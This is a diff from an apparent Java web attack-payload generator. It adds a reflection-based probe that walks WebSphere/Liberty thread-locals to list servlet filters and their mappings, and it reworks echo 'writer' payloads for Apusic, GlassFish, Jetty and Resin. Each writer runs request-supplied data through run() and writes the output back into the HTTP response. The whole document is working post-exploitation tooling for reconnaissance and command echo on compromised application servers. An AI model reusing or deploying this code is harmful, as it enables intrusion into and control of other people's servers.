+                    allFiltersData.put(contextRoot, filters);
+                } catch (Throwable e) {
+                    msg.append(contextRoot).append(" failed ").append(getErrorMessage(e)).append("\n");
+                }
+            }
+            msg.append(formatFiltersData(allFiltersData));
+        }
+        return msg.toString();
+    }
+
+    @SuppressWarnings("unchecked")
+    private List<Map<String, String>> collectFiltersData(Object context) throws Exception {
+        // context -> com.ibm.ws.webcontainer.webapp.WebAppImpl
+        Map<String, Map<String, Object>> aggregatedData = new LinkedHashMap<>();
+        // filterManager -> com.ibm.ws.webcontainer.filter.WebAppFilterManager
+        Object filterManager = getFieldValue(context, "filterManager");
+        // webAppConfig -> com.ibm.ws.webcontainer.webapp.WebAppConfigurationImpl
+        Object webAppConfig = getFieldValue(context, "config");
+        try {
+            // WebLogic 12+
+            List<Object> uriFilterMappingInfos = (List<Object>) getFieldValue(webAppConfig, "uriFilterMappingInfos");
+            for (Object uriFilterMappingInfo : uriFilterMappingInfos) {
+                // uriFilterMappingInfo -> com.ibm.ws.webcontainer.filter.FilterMapping
+                Map<String, Object> info = filterFilterInfo1(uriFilterMappingInfo, aggregatedData);
+                String urlPattern = (String) invokeMethod(uriFilterMappingInfo, "getUrlPattern", null, null);
+                if (urlPattern != null && !urlPattern.isEmpty()) {
+                    ((Set<String>) info.get("urlPatterns")).add(urlPattern);
+                }
+            }
+            List<Object> servletFilterMappingInfos = (List<Object>) getFieldValue(webAppConfig, "servletFilterMappingInfos");
+            for (Object servletFilterMappingInfo : servletFilterMappingInfos) {
+                // servletFilterMappingInfo -> com.ibm.ws.webcontainer.filter.FilterMapping
+                Map<String, Object> info = filterFilterInfo1(servletFilterMappingInfo, aggregatedData);
+                String servletName = (String) invokeMethod(invokeMethod(servletFilterMappingInfo, "getServletConfig"), "getServletName");
+                if (servletName != null && !servletName.isEmpty()) {
+                    ((Set<String>) info.get("servletNames")).add(servletName);
+                }
+            }
+        } catch (Throwable throwable) {
+            // WebLogic 10.3.6
+            List<Object> uriFilterMappings = (List<Object>) getFieldValue(filterManager, "_uriFilterMappings");
+            for (Object uriFilterMapping : uriFilterMappings) {
+                // uriFilterMapping -> com.ibm.ws.webcontainer.filter.WebAppFilterManager$FilterMappingInfo
+                Map<String, Object> info = fillFilterInfo2(uriFilterMapping, aggregatedData, webAppConfig);
+                String urlPattern = (String) getFieldValue(uriFilterMapping, "_filterURI");
+                if (urlPattern != null && !urlPattern.isEmpty()) {
+                    ((Set<String>) info.get("urlPatterns")).add(urlPattern);
+                }
+            }
+            List<Object> servletFilterMappings = (List<Object>) getFieldValue(filterManager, "_servletFilterMappings");
+            for (Object servletFilterMapping : servletFilterMappings) {
+                // servletFilterMapping -> com.ibm.ws.webcontainer.filter.WebAppFilterManager$FilterMappingInfo
+                Map<String, Object> info = fillFilterInfo2(servletFilterMapping, aggregatedData, webAppConfig);
+                String servletName = (String) getFieldValue(servletFilterMapping, "_filterServlet");
+                if (servletName != null && !servletName.isEmpty()) {
+                    ((Set<String>) info.get("servletNames")).add(servletName);
+                }
+            }
+        }
+        List<Map<String, String>> result = new ArrayList<>();
+        for (Map<String, Object> entry : aggregatedData.values()) {
+            Map<String, String> finalInfo = new HashMap<>();
+            finalInfo.put("filterName", (String) entry.get("filterName"));
+            finalInfo.put("filterClass", (String) entry.get("filterClass"));
+            Set<?> urls = (Set<?>) entry.get("urlPatterns");
+            finalInfo.put("urlPatterns", urls.isEmpty() ? "" : urls.toString());
+            Set<?> servletNames = (Set<?>) entry.get("servletNames");
+            finalInfo.put("servletNames", servletNames.isEmpty() ? "" : servletNames.toString());
+            result.add(finalInfo);
+        }
+        return result;
+    }
+
+    private static Map<String, Object> filterFilterInfo1(Object uriFilterMappingInfo, Map<String, Map<String, Object>> aggregatedData) throws Exception {
+        Object filterConfig = getFieldValue(uriFilterMappingInfo, "filterConfig");
+        String filterName = (String) invokeMethod(filterConfig, "getFilterName", null, null);
+        if (!aggregatedData.containsKey(filterName)) {
+            String filterClassName = (String) invokeMethod(filterConfig, "getFilterClassName", null, null);
+            Map<String, Object> info = new HashMap<>();
+            info.put("filterName", filterName);
+            info.put("filterClass", filterClassName);
+            info.put("urlPatterns", new LinkedHashSet<>());
+            info.put("servletNames", new LinkedHashSet<>());
+            aggregatedData.put(filterName, info);
+        }
+        return aggregatedData.get(filterName);
+    }
+
+    private static Map<String, Object> fillFilterInfo2(Object servletFilterMapping, Map<String, Map<String, Object>> aggregatedData, Object webAppConfig) throws Exception {
+        String filterName = (String) getFieldValue(servletFilterMapping, "_filterName");
+        if (!aggregatedData.containsKey(filterName)) {
+            Object filterConfig = invokeMethod(webAppConfig, "getFilterInfo", new Class[]{String.class}, new Object[]{filterName});
+            String filterClassName = (String) invokeMethod(filterConfig, "getFilterClassName", null, null);
+            Map<String, Object> info = new HashMap<>();
+            info.put("filterName", filterName);
+            info.put("filterClass", filterClassName);
+            info.put("urlPatterns", new LinkedHashSet<>());
+            info.put("servletNames", new LinkedHashSet<>());
+            aggregatedData.put(filterName, info);
+        }
+        return aggregatedData.get(filterName);
+    }
+
+    @SuppressWarnings("all")
+    private String formatFiltersData(Map<String, List<Map<String, String>>> allFiltersData) {
+        StringBuilder output = new StringBuilder();
+        for (Map.Entry<String, List<Map<String, String>>> entry : allFiltersData.entrySet()) {
+            String context = entry.getKey();
+            List<Map<String, String>> filters = entry.getValue();
+            output.append("Context: ").append(context).append("\n");
+            if (filters.isEmpty()) {
+                output.append("No filters found\n");
+            } else if (filters.size() == 1 && filters.get(0).containsKey("error")) {
+                output.append(filters.get(0).get("error")).append("\n");
+            } else {
+                for (Map<String, String> info : filters) {
+                    appendIfPresent(output, "", info.get("filterName"));
+                    appendIfPresent(output, " -> ", info.get("filterClass"));
+                    appendIfPresent(output, " -> URL:", info.get("urlPatterns"));
+                    appendIfPresent(output, " -> Servlet:", info.get("servletNames"));
+                    output.append("\n");
+                }
+            }
+        }
+        return output.toString();
+    }
+
+    private void appendIfPresent(StringBuilder sb, String prefix, String value) {
+        if (value != null && !value.isEmpty()) {
+            sb.append(prefix).append(value);
+        }
+    }
+
+    @SuppressWarnings("all")
+    private String getContextRoot(Object context) {
+        String r = null;
+        try {
+            r = (String) invokeMethod(context, "getContextPath", null, null);
+        } catch (Exception ignored) {
+        }
+        String c = context.getClass().getName();
+        if (r == null) {
+            return c;
+        }
+        if (r.isEmpty()) {
+            return c + "(/)";
+        }
+        return c + "(" + r + ")";
+    }
+
+
+    /**
+     * com.ibm.ws.webcontainer.webapp.WebAppImpl
+     * /opt/IBM/WebSphere/AppServer/plugins/com.ibm.ws.webcontainer.jar
+     */
+    public Set<Object> getContext() throws Exception {
+        Set<Object> contexts = new HashSet<Object>();
+        Object[] threadLocals = null;
+        boolean raw = false;
+        try {
+            // WebSphere Liberty
+            threadLocals = (Object[]) getFieldValue(Thread.currentThread(), "wsThreadLocals");
+        } catch (NoSuchFieldException ignored) {
+        }
+        if (threadLocals == null) {
+            // Open Liberty
+            threadLocals = (Object[]) getFieldValue(getFieldValue(Thread.currentThread(), "threadLocals"), "table");
+            raw = true;
+        }
+        for (Object threadLocal : threadLocals) {
+            if (threadLocal == null) {
+                continue;
+            }
+            Object value = threadLocal;
+            if (raw) {
+                value = getFieldValue(threadLocal, "value");
+            }
+            if (value == null) {
+                continue;
+            }
+            // for websphere 7.x
+            if (value.getClass().getName().endsWith("FastStack")) {
+                Object[] stackList = (Object[]) getFieldValue(value, "stack");
+                for (Object stack : stackList) {
+                    try {
+                        Object config = getFieldValue(stack, "config");
+                        contexts.add(getFieldValue(getFieldValue(config, "context"), "context"));
+                    } catch (Exception ignored) {
+                    }
+                }
+            } else if (value.getClass().getName().endsWith("WebContainerRequestState")) {
+                Object webApp = invokeMethod(getFieldValue(getFieldValue(value, "currentThreadsIExtendedRequest"), "_dispatchContext"), "getWebApp", null, null);
+                contexts.add(getFieldValue(getFieldValue(webApp, "facade"), "context"));
+            }
+        }
+        return contexts;
+    }
+
+    public static Object invokeMethod(Object obj, String methodName) throws Exception {
+        return invokeMethod(obj, methodName, null, null);
+    }
+
+    @SuppressWarnings("all")
+    public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws Exception {
+        Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
+        Method method = null;
+        while (clazz != null && method == null) {
+            try {
+                if (paramClazz == null) {
+                    method = clazz.getDeclaredMethod(methodName);
+                } else {
+                    method = clazz.getDeclaredMethod(methodName, paramClazz);
+                }
+            } catch (NoSuchMethodException e) {
+                clazz = clazz.getSuperclass();
+            }
+        }
+        if (method == null) {
+            throw new NoSuchMethodException("Method not found: " + methodName);
+        }
+        method.setAccessible(true);
+        return method.invoke(obj instanceof Class ? null : obj, param);
+    }
+
+    @SuppressWarnings("all")
+    public static Object getFieldValue(Object obj, String name) throws Exception {
+        Class<?> clazz = obj.getClass();
+        while (clazz != Object.class) {
+            try {
+                Field field = clazz.getDeclaredField(name);
+                field.setAccessible(true);
+                return field.get(obj);
+            } catch (NoSuchFieldException var5) {
+                clazz = clazz.getSuperclass();
+            }
+        }
+        throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
+    }
+
+    @SuppressWarnings("all")
+    private String getErrorMessage(Throwable throwable) {
+        PrintStream printStream = null;
+        try {
+            ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
+            printStream = new PrintStream(outputStream);
+            throwable.printStackTrace(printStream);
+            return outputStream.toString();
+        } finally {
+            if (printStream != null) {
+                printStream.close();
+            }
+        }
+    }
+}

generator/src/main/java/com/reajason/javaweb/probe/payload/response/ApusicWriter.java

@@ -1,5 +1,8 @@
 package com.reajason.javaweb.probe.payload.response;
 
+import java.io.ByteArrayOutputStream;
+import java.io.OutputStream;
+import java.io.PrintStream;
 import java.io.PrintWriter;
 import java.lang.reflect.Array;
 import java.lang.reflect.Field;
@@ -32,15 +35,25 @@ public class ApusicWriter {
                     Object response = getFieldValue(servletInvocation, "response");
                     String data = getDataFromReq(request);
                     if (data != null && !data.isEmpty()) {
-                        PrintWriter writer = (PrintWriter) invokeMethod(response, "getWriter", null, null);
+                        String result = "";
                         try {
-                            writer.write(run(data));
+                            result = run(data);
                         } catch (Throwable e) {
-                            e.printStackTrace();
+                            result = getErrorMessage(e);
-                            e.printStackTrace(writer);
                         }
+                        if (result != null) {
+                            try {
+                                OutputStream outputStream = (OutputStream) invokeMethod(response, "getOutputStream", null, null);
+                                outputStream.write(result.getBytes());
+                                outputStream.flush();
+                                outputStream.close();
+                            } catch (Throwable e) {
+                                PrintWriter writer = (PrintWriter) invokeMethod(response, "getWriter", null, null);
+                                writer.write(result);
                                 writer.flush();
                                 writer.close();
+                            }
+                        }
                         return;
                     }
                 }
@@ -96,4 +109,19 @@ public class ApusicWriter {
         }
         throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
     }
+
+    @SuppressWarnings("all")
+    private String getErrorMessage(Throwable throwable) {
+        PrintStream printStream = null;
+        try {
+            ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
+            printStream = new PrintStream(outputStream);
+            throwable.printStackTrace(printStream);
+            return outputStream.toString();
+        } finally {
+            if (printStream != null) {
+                printStream.close();
+            }
+        }
+    }
 }

generator/src/main/java/com/reajason/javaweb/probe/payload/response/GlassFishWriter.java

@@ -1,5 +1,8 @@
 package com.reajason.javaweb.probe.payload.response;
 
+import java.io.ByteArrayOutputStream;
+import java.io.OutputStream;
+import java.io.PrintStream;
 import java.io.PrintWriter;
 import java.lang.reflect.Field;
 import java.lang.reflect.Method;
@@ -22,10 +25,8 @@ public class GlassFishWriter {
                 // GlassFish3
                 Thread thread = Thread.currentThread();
                 Object request = invokeMethod(getFieldValue(getFieldValue(thread, "processorTask"), "request"), "getNote", new Class[]{Integer.TYPE}, new Object[]{1});
-                Object response = invokeMethod(request, "getResponse", null, null);
+                if (tryWriteRes(request)) {
-                String data = getDataFromReq(request);
+                    return;
-                if (data != null && !data.isEmpty()) {
-                    execute(response, data);
                 }
             } catch (Exception x) {
                 // GlassFish4+
@@ -48,10 +49,7 @@ public class GlassFishWriter {
                         }
                         Object notesHolder = getFieldValue(getFieldValue(coyoteRequest, "request"), "notesHolder");
                         Object request = invokeMethod(notesHolder, "getAttribute", new Class[]{String.class}, new Object[]{"org.apache.catalina.connector.Request"});
-                        Object response = invokeMethod(request, "getResponse", null, null);
+                        if (tryWriteRes(request)) {
-                        String data = getDataFromReq(request);
-                        if (data != null && !data.isEmpty()) {
-                            execute(response, data);
                             return;
                         }
                     }
@@ -64,16 +62,33 @@ public class GlassFishWriter {
         }
     }
 
-    private void execute(Object response, String data) throws Exception {
+    private boolean tryWriteRes(Object request) throws Exception {
-        PrintWriter writer = (PrintWriter) invokeMethod(response, "getWriter", null, null);
+        Object response = invokeMethod(request, "getResponse", null, null);
+        String data = getDataFromReq(request);
+        if (data != null && !data.isEmpty()) {
+            String result = "";
             try {
-            writer.write(run(data));
+                result = run(data);
             } catch (Throwable e) {
-            e.printStackTrace(writer);
+                result = getErrorMessage(e);
             }
+            if (result != null) {
+                try {
+                    OutputStream outputStream = (OutputStream) invokeMethod(response, "getOutputStream", null, null);
+                    outputStream.write(result.getBytes());
+                    outputStream.flush();
+                    outputStream.close();
+                } catch (Throwable e) {
+                    PrintWriter writer = (PrintWriter) invokeMethod(response, "getWriter", null, null);
+                    writer.write(result);
                     writer.flush();
                     writer.close();
                 }
+            }
+            return true;
+        }
+        return false;
+    }
 
     private String getDataFromReq(Object request) throws Exception {
         return null;
@@ -119,4 +134,19 @@ public class GlassFishWriter {
         }
         throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
     }
+
+    @SuppressWarnings("all")
+    private String getErrorMessage(Throwable throwable) {
+        PrintStream printStream = null;
+        try {
+            ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
+            printStream = new PrintStream(outputStream);
+            throwable.printStackTrace(printStream);
+            return outputStream.toString();
+        } finally {
+            if (printStream != null) {
+                printStream.close();
+            }
+        }
+    }
 }

generator/src/main/java/com/reajason/javaweb/probe/payload/response/JettyWriter.java

@@ -1,9 +1,9 @@
 package com.reajason.javaweb.probe.payload.response;
 
-import org.eclipse.jetty.util.Callback;
+import java.io.ByteArrayOutputStream;
-
+import java.io.OutputStream;
+import java.io.PrintStream;
 import java.io.PrintWriter;
-import java.io.StringWriter;
 import java.lang.reflect.Array;
 import java.lang.reflect.Field;
 import java.lang.reflect.Method;
@@ -49,23 +49,31 @@ public class JettyWriter {
                     }
                     String data = getDataFromReq(request);
                     if (data != null && !data.isEmpty()) {
-                        StringWriter sw = new StringWriter();
+                        String result = "";
-                        PrintWriter writer = new PrintWriter(sw);
                         try {
-                            writer.write(run(data));
+                            result = run(data);
                         } catch (Throwable e) {
-                            e.printStackTrace();
+                            result = getErrorMessage(e);
-                            e.printStackTrace(writer);
                         }
-                        String result = sw.toString();
+                        if (result != null) {
-                        System.out.println("result: " + result);
+                            try {
+                                OutputStream outputStream = (OutputStream) invokeMethod(response, "getOutputStream", null, null);
+                                outputStream.write(result.getBytes());
+                                outputStream.flush();
+                                outputStream.close();
+                            } catch (Throwable e) {
                                 try {
                                     PrintWriter resWriter = (PrintWriter) invokeMethod(response, "getWriter", null, null);
                                     resWriter.write(result);
-                        } catch (Exception e) {
+                                    resWriter.flush();
+                                    resWriter.close();
+                                } catch (Exception x) {
                                     invokeMethod(response, "setStatus", new Class[]{int.class}, new Object[]{200});
                                     ByteBuffer content = UTF_8.encode(result);
-                            invokeMethod(response, "write", new Class[]{boolean.class, ByteBuffer.class, Callback.class}, new Object[]{true, content, null});
+                                    Class<?> callBackClass = request.getClass().getClassLoader().loadClass("org.eclipse.jetty.util.Callback");
+                                    invokeMethod(response, "write", new Class[]{boolean.class, ByteBuffer.class, callBackClass}, new Object[]{true, content, null});
+                                }
+                            }
                         }
                         return;
                     }
@@ -122,4 +130,19 @@ public class JettyWriter {
         }
         throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
     }
+
+    @SuppressWarnings("all")
+    private String getErrorMessage(Throwable throwable) {
+        PrintStream printStream = null;
+        try {
+            ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
+            printStream = new PrintStream(outputStream);
+            throwable.printStackTrace(printStream);
+            return outputStream.toString();
+        } finally {
+            if (printStream != null) {
+                printStream.close();
+            }
+        }
+    }
 }

generator/src/main/java/com/reajason/javaweb/probe/payload/response/ResinWriter.java

@@ -1,5 +1,8 @@
 package com.reajason.javaweb.probe.payload.response;
 
+import java.io.ByteArrayOutputStream;
+import java.io.OutputStream;
+import java.io.PrintStream;
 import java.io.PrintWriter;
 import java.lang.reflect.Field;
 import java.lang.reflect.Method;
@@ -22,17 +25,30 @@ public class ResinWriter {
             Object request = invokeMethod(invocationClazz, "getContextRequest", null, null);
             Object response = getFieldValue(request, "_response");
             String data = getDataFromReq(request);
-            PrintWriter writer = (PrintWriter) invokeMethod(response, "getWriter", null, null);
+            if (data != null && !data.isEmpty()) {
+                String result = "";
                 try {
-                writer.write(run(data));
+                    result = run(data);
                 } catch (Throwable e) {
-                e.printStackTrace(writer);
+                    result = getErrorMessage(e);
                 }
+                if (result != null) {
+                    try {
+                        OutputStream outputStream = (OutputStream) invokeMethod(response, "getOutputStream", null, null);
+                        outputStream.write(result.getBytes());
+                        outputStream.flush();
+                        outputStream.close();
+                    } catch (Throwable e) {
+                        PrintWriter writer = (PrintWriter) invokeMethod(response, "getWriter", null, null);
+                        writer.write(result);
                         writer.flush();
                         writer.close();
+                    }
+                }
                 // com.caucho.server.connection.AbstractHttpResponse.close
                 // 不关闭 response 的话会遇到重复写响应体的情况
-            invokeMethod(response, "close", null, null);
+//                invokeMethod(response, "close", null, null);
+            }
         } catch (Throwable e) {
             e.printStackTrace();
         } finally {
@@ -84,4 +100,19 @@ public class ResinWriter {
         }
         throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
     }
+
+    @SuppressWarnings("all")
+    private String getErrorMessage(Throwable throwable) {
+        PrintStream printStream = null;
+        try {
+            ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
+            printStream = new PrintStream(outputStream);
+            throwable.printStackTrace(printStream);
+            return outputStream.toString();
+        } finally {
+            if (printStream != null) {
+                printStream.close();
+            }
+        }
+    }
 }